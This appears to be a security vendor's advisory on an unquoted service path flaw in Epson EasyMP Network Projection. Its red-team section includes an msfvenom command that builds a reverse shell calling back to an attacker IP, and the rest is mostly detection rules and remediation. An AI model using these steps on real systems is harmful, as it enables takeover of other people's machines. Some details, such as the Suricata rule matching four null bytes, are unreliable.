CVE-2020-37064

Executive Summary

CVE-2020-37064 is a local privilege escalation vulnerability in Epson EasyMP Network Projection version 2.81. The vulnerability stems from an unquoted service path in the EMP_NSWLSV service, which runs with LocalSystem privileges. A local attacker can exploit this by placing a malicious executable in a path that the service will inadvertently execute due to the unquoted path string. This allows arbitrary code execution with the highest system privileges, leading to full system compromise.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a software installation issue. The risk is amplified in enterprise environments where Epson projection software is deployed across multiple workstations, as a single compromised machine can lead to lateral movement.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows a low-privileged user to escalate to SYSTEM, enabling full control over the host.

Deep Dive & Mechanics

The vulnerability exists because the EMP_NSWLSV service is configured with an unquoted service path. The service path is:

C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\

When Windows attempts to start this service, it parses the path by splitting on spaces. Due to the lack of quotes, Windows will attempt to execute the following in order:

1. C:\Program.exe
2. C:\Program Files (x86)\EPSON.exe
3. C:\Program Files (x86)\EPSON Projector\EasyMP.exe
4. C:\Program Files (x86)\EPSON Projector\EasyMP Network.exe
5. C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection.exe
6. C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\

If an attacker can place a malicious executable named Program.exe in C:\, or EPSON.exe in C:\Program Files (x86)\, the service will execute it with SYSTEM privileges.

Vulnerable vs. Patched Code

Vulnerable Configuration (CVE-2020-37064): The service path is stored in the registry or service configuration without quotes.

# Check the service path
sc qc EMP_NSWLSV
# Output shows: BINARY_PATH_NAME   : C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe

Patched Configuration (Hypothetical): The service path should be enclosed in quotes.

# Patched service path
sc config EMP_NSWLSV binPath= "\"C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe\""

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows machine with Epson EasyMP Network Projection 2.81 installed.
• Ability to write to a directory like C:\ or C:\Program Files (x86)\.

Exploitation Steps:

1. Identify the vulnerable service:

   sc qc EMP_NSWLSV
   

2. Create a malicious executable (e.g., Program.exe) that spawns a reverse shell or adds a user to the Administrators group.

   Example using msfvenom:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe
   

3. Place the executable in the path:

   copy Program.exe C:\Program.exe
   

4. Trigger the service restart (requires admin or reboot):

   sc stop EMP_NSWLSV
   sc start EMP_NSWLSV
   

5. Receive the reverse shell as SYSTEM.

Blue Team

Detection:

• Monitor for creation of executables in C:\, C:\Program Files (x86)\, or other writable directories that match the unquoted path segments.
• Alert on service start/stop events for EMP_NSWLSV outside of maintenance windows.

Hunting:

• Query for services with unquoted paths:

  Get-WmiObject win32_service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
  

Mitigation:

• Apply the principle of least privilege to service accounts.
• Use Group Policy to enforce quoted service paths.

Indicators of Compromise (IOCs)

• File Indicators:

  • C:\Program.exe
  • C:\Program Files (x86)\EPSON.exe
  • C:\Program Files (x86)\EPSON Projector\EasyMP.exe
  • C:\Program Files (x86)\EPSON Projector\EasyMP Network.exe
  • C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection.exe

• Process Indicators:

  • EMP_NSWLSV.exe spawning unexpected child processes (e.g., cmd.exe, powershell.exe).

• Registry Indicators:

  • HKLM\SYSTEM\CurrentControlSet\Services\EMP_NSWLSV with unquoted ImagePath.

• Network Indicators:

  • Outbound connections from EMP_NSWLSV.exe to unknown IPs (if reverse shell used).

Detection Engineering

YARA Rule

rule CVE_2020_37064_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for EMP_NSWLSV service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37064"
    strings:
        $s1 = "EMP_NSWLSV" nocase
        $s2 = "C:\\Program Files (x86)\\EPSON Projector\\EasyMP Network Projection V2\\" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path Exploitation - EMP_NSWLSV
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of executables in paths that could be exploited by the unquoted service path vulnerability in Epson EasyMP Network Projection.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-37064
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith:
            - 'C:\Program.exe'
            - 'C:\Program Files (x86)\EPSON.exe'
            - 'C:\Program Files (x86)\EPSON Projector\EasyMP.exe'
            - 'C:\Program Files (x86)\EPSON Projector\EasyMP Network.exe'
            - 'C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection.exe'
    condition: selection
falsepositives:
    - Legitimate software installations
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2020-37064 - Potential Reverse Shell from EMP_NSWLSV"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Manually quote the service path:

     sc config EMP_NSWLSV binPath= "\"C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe\""
     

   • Restart the service.

2. Long-term Fix:

   • Contact Epson for an official patch or upgrade to a version where the path is quoted.
   • If no patch is available, consider removing the software or restricting local user write permissions to C:\ and C:\Program Files (x86)\.

3. Preventive Measures:

   • Use Group Policy to enforce that all service paths are quoted.
   • Regularly audit services for unquoted paths using tools like PowerUp or custom scripts.

4. Monitoring:

   • Enable logging for service creation/modification (Event ID 7045).
   • Monitor for file creation in root directories.

Valters IT
Securing Digital Frontiers